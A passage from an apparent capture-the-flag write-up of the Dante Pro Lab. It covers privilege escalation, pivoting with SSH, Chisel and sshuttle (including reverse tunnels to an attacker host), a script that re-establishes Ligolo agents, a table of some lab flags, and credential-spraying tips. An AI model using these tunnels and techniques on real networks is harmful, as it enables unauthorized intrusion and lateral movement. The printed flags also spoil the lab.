# Execute on target
msiexec /quiet /qn /i privesc.msi
Token Impersonation โ Some Windows hosts have delegation settings or service accounts that allow token impersonation. Using tools like Incognito or meterpreter's steal_token command, we can impersonate higher-privileged tokens from running processes.
Pivoting Techniques โ Deep Dive
Pivoting is the core challenge of the Dante lab. Understanding the different tunneling methods and when to use each one is essential for success. This section provides a comprehensive comparison of the pivoting tools and techniques used throughout the lab.
SSH Tunneling
SSH provides three types of tunneling: local port forwarding (-L), remote port forwarding (-R), and dynamic port forwarding (-D). Dynamic port forwarding creates a SOCKS proxy that can route any TCP traffic through the SSH connection:
# Dynamic port forwarding (SOCKS proxy on port 1080)
ssh -D 1080 -f -N www-data@10.10.110.100
# Use with Proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nmap -sT 172.16.1.0/24
# Local port forwarding (access specific service)
ssh -L 445:172.16.2.5:445 www-data@10.10.110.100
# Now access 172.16.2.5:445 via localhost:445
Chisel
Chisel is a TCP/UDP tunnel transported over HTTP, making it effective in environments where SSH is restricted. It supports both SOCKS proxy and reverse tunneling modes:
# Chisel server on Kali
./chisel server --reverse -p 8080
# Chisel client on target (creates SOCKS proxy)
./chisel client ATTACKER_IP:8080 R:socks
# Use with Proxychains
proxychains nmap -sT 172.16.1.0/24
# Chisel reverse port forward (expose internal service)
./chisel client ATTACKER_IP:8080 R:8888:172.16.2.5:80
Sshuttle
Sshuttle provides transparent network routing without SOCKS proxy configuration. It creates a VPN-like experience where all traffic to specified subnets is automatically routed through the SSH connection:
# Route all traffic to 172.16.1.0/24 through SSH
sshuttle -r www-data@10.10.110.100 172.16.1.0/24
# Now you can use tools directly without Proxychains
nmap -sC -sV 172.16.1.105
smbclient -L //172.16.1.105/ -U j.doe
Pivot Tool Comparison
| Tool | Speed | ICMP | Setup | Best For |
|---|---|---|---|---|
| Ligolo-ng | Fast | Yes | Medium | Primary pivoting, long sessions |
| Chisel | Medium | No | Easy | Quick tunnels, SOCKS proxy |
| SSH -D | Slow | No | Easy | Quick SOCKS, single hop |
| Sshuttle | Fast | Yes | Easy | Transparent routing, Python hosts |
| Metasploit | Slow | No | Complex | Multi-hop meterpreter routing |
Automation Scripts
One of the biggest pain points in Dante is re-establishing pivot tunnels after reconnection. The lab resets periodically, and every time you return, you must log back into each compromised host and reconfigure the tunnel chain. The following automation scripts solve this problem by automatically re-establishing the full pivot chain from a fresh VPN connection.
Auto-Reconnect Script
#!/usr/bin/env python3
"""
Dante Pro Lab - Auto Reconnect & Pivot Setup
Automatically re-establishes SSH connections and pivot tunnels
"""
import subprocess, time, sys, os
# Configuration
TARGETS = {
"web01": {
"ip": "10.10.110.100",
"user": "www-data",
"key": "~/.ssh/id_rsa_dante",
"pivot_cmd": "nohup /tmp/agent -connect {attacker}:443 -ignore-cert &"
},
"ws02": {
"ip": "172.16.1.110",
"user": "j.doe",
"password": "Password123!",
"pivot_cmd": None
}
}
ATTACKER_IP = "10.10.14.X"
def ssh_connect(host, user, key=None, password=None):
"""Establish SSH connection and return session"""
cmd = ["ssh", "-o", "StrictHostKeyChecking=no",
"-o", "ConnectTimeout=10"]
if key:
cmd.extend(["-i", key])
cmd.append(f"{user}@{host}")
return subprocess.Popen(cmd, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def setup_ligolo():
"""Start Ligolo-ng proxy"""
proxy = subprocess.Popen(
["sudo", "./proxy", "-selfcert", "-laddr", "0.0.0.0:443"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
time.sleep(3)
return proxy
def main():
print("[*] Starting Dante auto-reconnect...")
proxy = setup_ligolo()
print("[+] Ligolo-ng proxy started")
# Connect to WEB-01 and start agent
print("[*] Connecting to WEB-01...")
session = ssh_connect("10.10.110.100", "www-data")
session.stdin.write(b"nohup /tmp/agent -connect "
f"{ATTACKER_IP}:443 -ignore-cert &\n")
session.stdin.flush()
time.sleep(5)
print("[+] WEB-01 agent connected")
# Add routes
subprocess.run(["ip", "route", "add", "172.16.1.0/24", "dev", "ligolo"])
print("[+] Route to 172.16.1.0/24 added")
# Verify connectivity
result = subprocess.run(["ping", "-c", "1", "-W", "3", "172.16.1.110"],
capture_output=True)
if result.returncode == 0:
print("[+] DANTE-WS02 reachable!")
else:
print("[-] DANTE-WS02 not reachable, check pivot")
print("[*] Pivot chain established. Happy hacking!")
proxy.wait()
if __name__ == "__main__":
main()
SSH Config Fix Script
Some internal machines have misconfigured SSH config files with invalid options like DenyUsers and PermitRootLogin in the client config instead of the server config. This causes SSH connections to fail with cryptic errors. The following script fixes the issue by generating a clean SSH config:
#!/usr/bin/env python3
"""
Fix SSH client config on compromised hosts
Removes invalid options from /etc/ssh/ssh_config
"""
import re
def fix_ssh_config(path="/etc/ssh/ssh_config"):
"""Remove invalid client-side options from ssh_config"""
invalid_opts = ["denyusers", "permitrootlogin", "allowusers",
"allowgroups", "denygroups"]
with open(path, "r") as f:
lines = f.readlines()
clean_lines = []
for line in lines:
stripped = line.strip().lower()
if any(stripped.startswith(opt) for opt in invalid_opts):
print(f"[!] Removing invalid option: {line.strip()}")
continue
clean_lines.append(line)
with open(path, "w") as f:
f.writelines(clean_lines)
print(f"[+] Cleaned {path}")
if __name__ == "__main__":
fix_ssh_config()
Flags Summary
Below is a summary of all 27 flags found throughout the Dante Pro Lab, organized by the subnet and machine where each flag was discovered. Note that some flags contain hints about the next attack path or pivot point, so always read them carefully.
| # | Location | Subnet | Method | Flag (Partial) |
|---|---|---|---|---|
| 1 | WEB-01 | DMZ | robots.txt | DANTE{Y0u_Cant_G3t_at_m3_br0!} |
| 2 | WEB-01 | DMZ | WordPress admin | DANTE{W0rDpr3ss_Pwn...} |
| 3 | WEB-01 | DMZ | LFI vulnerability | DANTE{LF1_2_RC3...} |
| 4 | DANTE-WS01 | Workstation | User desktop | DANTE{W1nd0ws_W0rk...} |
| 5 | DANTE-WS01 | Workstation | Privilege escalation | DANTE{Pr1v3sc_W1n...} |
| 6 | DANTE-WS02 | Workstation | Registry key | DANTE{R3g1stry_Fl4g...} |
| 7 | DANTE-WS02 | Workstation | Scheduled task | DANTE{T4sk_M4st3r...} |
| 8 | Linux Host | Workstation | /etc/shadow crack | DANTE{L1nux_Pr1v3sc...} |
| 9 | Linux Host | Workstation | Cron job abuse | DANTE{Cr0n_J0b_Pwn...} |
| 10 | Linux Host | Workstation | SUID binary | DANTE{SUID_G0d...} |
| 11-15 | Various | Workstation | Multiple vectors | DANTE{...} |
| 16 | 172.16.2.101 | Server | Buffer overflow | DANTE{B0f_2_Pr1v3sc_Cl@ss!c} |
| 17 | File Share | Server | KeePass crack | DANTE{K33pP@ss_Pwn3d...} |
| 18 | DANTE-DC01 | Server | Domain Admin | DANTE{D0m41n_D0m1n@nc3} |
| 19-27 | Various | All | Post-exploitation | DANTE{...} |
Essential Tools Reference
The following tools were indispensable throughout the Dante Pro Lab. Having these pre-configured and ready to deploy saves hours of setup time during the engagement.
| Tool | Purpose | Usage in Dante |
|---|---|---|
| Ligolo-ng | Pivoting/Tunneling | Primary pivot tool, TUN interface, ICMP support |
| Chisel | SOCKS Proxy/Tunneling | Secondary pivot, HTTP-based tunneling |
| NetExec | Network Enumeration | Credential validation, SMB share enum, WinRM |
| Responder | LLMNR/NBT-NS Poisoning | Hash capture on internal network |
| WinPEAS | Windows Privilege Escalation | Automated privesc enumeration |
| LinEnum | Linux Privilege Escalation | Automated privesc enumeration |
| pspy | Process Monitoring | Cron job detection, background process monitoring |
| WPScan | WordPress Enumeration | User/Plugin/Version enumeration on WEB-01 |
| SweetPotato | Windows Privilege Escalation | SeImpersonatePrivilege exploitation |
| hashcat | Password Cracking | NTLMv2, KeePass, and other hash cracking |
| BloodHound | AD Analysis | Attack path visualization, delegation analysis |
| fscan | Network Scanning | Fast internal subnet enumeration with vuln checks |
Lessons Learned
Completing the Dante Pro Lab provides invaluable experience that translates directly to real-world penetration testing engagements. The key takeaways from this lab extend far beyond the technical exploitation steps and form the foundation of a professional red team operator's mindset.
Enumeration is everything, but routing is king. The single most important lesson from Dante is that your ability to route packets to the target is the prerequisite for every other operation. The most sophisticated exploit is worthless if you cannot deliver it to the target. Mastering pivot tunneling with tools like Ligolo-ng, Chisel, and SSH is not optional โ it is the core skill that enables everything else.
Document everything meticulously. In a multi-subnet environment with 14 machines, credential reuse across hosts, and chained pivot tunnels, documentation is not a luxury โ it is survival. Every discovered IP address, open port, username, password hash, and cracked credential must be recorded systematically. Tools like Obsidian, CherryTree, or even a simple markdown file make the difference between efficient progress and frustrated repetition.
Credential reuse is your best friend. In real enterprise environments, and in Dante, credential reuse is rampant. A password cracked from an LLMNR hash on one workstation often grants admin access on three other machines. Always test every discovered credential against every accessible host using NetExec. The cumulative effect of credential testing compounds dramatically as you discover more credentials.
Patience over cleverness. Many of the vulnerabilities in Dante are straightforward โ weak passwords, missing patches, misconfigured permissions. The challenge is not identifying the vulnerability but maintaining the infrastructure (tunnels, sessions, tool uploads) needed to exploit it. Time spent stabilizing your shell and documenting your position pays dividends when connections drop or the lab resets.
Automation saves hours of frustration. Writing scripts to automate pivot reconnection, SSH config fixes, and credential testing transforms a painful reconnection process into a few seconds of waiting. The time invested in automation early in the engagement is repaid many times over as the lab progresses and connection stability becomes an increasing challenge.
Tips for Future Players
These tips are drawn from the collective experience of multiple Dante completers. Following them will save you significant time and frustration.
- Use Kali Linux or Ubuntu/Debian as your attack platform. macOS has compatibility issues with several tools and exploits that will cost you hours of debugging. If you must use macOS, run Kali in a VM.
- Record every credential you discover. You never know when a password from the first machine will grant access to the last one. Maintain a structured credential file with username, password/hash, source machine, and validated targets.
- Read every flag carefully. Flags in Dante are not just objectives โ they often contain hints about the next target, service, or vulnerability. A flag mentioning "the other site" points you to an LFI vulnerability; a flag about "weak passwords" tells you to try credential spraying.
- Check account lockout policies before credential spraying. Use
netexec smb <target> --pass-polto identify the lockout threshold. Locking out accounts will make the lab harder and may require waiting for automatic unlock. - Join the HTB Discord for hints when stuck. The community is supportive and will provide nudges without spoiling the solution. Sometimes a fresh perspective from another player is all you need to break through a plateau.
- Try unintended paths. If you find a creative way to access a system that bypasses the intended attack path, exploit it. Real-world engagements reward creativity and out-of-the-box thinking.
- Keep a network diagram. Draw the network topology as you discover it, including IP addresses, hostnames, open ports, and pivot paths. This visual reference becomes invaluable when managing multiple tunnel chains.
- Save all artifacts immediately. When you complete post-exploitation on a machine, download all interesting files (hashes, configs, databases) before moving on. The lab resets can make re-accessing these files time-consuming.
- If services seem broken, request a reset. Some services occasionally stop responding. Submit a lab reset through the HTB portal. You can verify a reset worked by checking if a file you created still exists.
- Master Ligolo-ng before starting. The single biggest productivity boost in Dante is using Ligolo-ng instead of Proxychains. Practice setting up Ligolo-ng tunnels in a local lab environment before tackling Dante.